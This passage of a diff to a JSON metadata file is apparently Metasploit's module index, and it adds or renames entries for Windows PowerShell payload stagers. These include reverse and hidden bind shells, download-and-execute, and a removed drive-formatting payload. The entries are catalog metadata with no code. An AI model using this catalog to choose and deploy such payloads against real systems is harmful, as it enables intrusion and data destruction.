"/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_nonx_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "spoonm " + ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -180963,18 +199192,68 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_ord_tcp" }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_allports": { + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp" + }, + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_allports", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", "aliases": [ ], @@ -180983,14 +199262,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", + "jt ", + "skape ", "hdm ", - "skape " + "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181001,18 +199280,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_allports" }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_dns": { + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_dns", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", "aliases": [ ], @@ -181021,15 +199306,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape ", + "hdm ", + "sf ", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181040,18 +199325,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_dns" }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4": { + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", "aliases": [ ], @@ -181060,16 +199351,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape ", + "hdm ", + "sf ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181080,18 +199371,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns": { + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", "aliases": [ ], @@ -181100,16 +199397,16 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", - "hdm ", + "jt ", "skape ", + "hdm ", + "sf ", "mihi", "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181120,18 +199417,158 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, - "payload_cmd/windows/powershell/dllinject/reverse_tcp_uuid": { + "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jt ", + "skape ", + "hdm ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupdllinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupdllinject", + "stager_refname": "windows/reverse_tcp_uuid" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", + "sf ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_hidden_tcp" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -181140,14 +199577,321 @@ "type": "payload", "author": [ "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", + "sf ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_named_pipe" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_nonx_tcp" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", + "hdm ", "sf ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_rc4" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt ", "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_uuid" + }, + "payload_cmd/windows/powershell/patchupmeterpreter/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "jt " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181158,18 +199902,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/find_tag", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/dllinject/reverse_winhttp": { - "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_winhttp", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", "aliases": [ ], @@ -181178,14 +199928,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "sf ", + "skape ", + "jt ", "hdm ", - "Borja Merino " + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], "platform": "Windows", "arch": "cmd", @@ -181196,18 +199946,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_winhttp", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" }, - "payload_cmd/windows/powershell/dns_txt_query_exec": { - "name": "Powershell Exec, DNS TXT Record Payload Download and Execution", - "fullname": "payload/cmd/windows/powershell/dns_txt_query_exec", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", "aliases": [ ], @@ -181216,9 +199972,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "corelanc0d3r " + "skape ", + "jt ", + "vlad902 " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned payload", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", "references": [ ], @@ -181231,18 +199989,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/dns_txt_query_exec", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_nonx_tcp" }, - "payload_cmd/windows/powershell/download_exec": { - "name": "Powershell Exec, Windows Executable Download (http,https,ftp) and Execute", - "fullname": "payload/cmd/windows/powershell/download_exec", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp": { + "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", "aliases": [ ], @@ -181251,9 +200015,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "corelanc0d3r " + "skape ", + "jt ", + "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nDownload an EXE from an HTTP(S)/FTP URL and execute it", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -181266,18 +200032,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/download_exec", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ord_tcp" }, - "payload_cmd/windows/powershell/exec": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/exec", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp": { + "name": "Powershell Exec, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp", "aliases": [ ], @@ -181286,10 +200058,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "skape ", + "jt ", + "hdm ", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -181302,33 +200076,40 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/exec", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp" }, - "payload_cmd/windows/powershell/format_all_drives": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/format_all_drives", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports": { + "name": "Powershell Exec, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", "aliases": [ ], - "rank": 0, + "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre", - "Ashfaq Ansari ", - "Ruei-Min Jiang " + "skape ", + "jt ", + "hdm ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ - "URL-http://hacksys.vfreaks.com/research/shellcode-of-death.html", - "URL-https://github.com/hacksysteam/ShellcodeOfDeath" + ], "platform": "Windows", "arch": "cmd", @@ -181339,21 +200120,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/format_all_drives", + "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, "notes": { - "AKA": [ - "ShellcodeOfDeath" - ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_allports" }, - "payload_cmd/windows/powershell/generic/debug_trap": { - "name": "Powershell Exec, Generic x86 Debug Trap", - "fullname": "payload/cmd/windows/powershell/generic/debug_trap", + "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns": { + "name": "Powershell Exec, Reverse TCP Stager (DNS)", + "fullname": 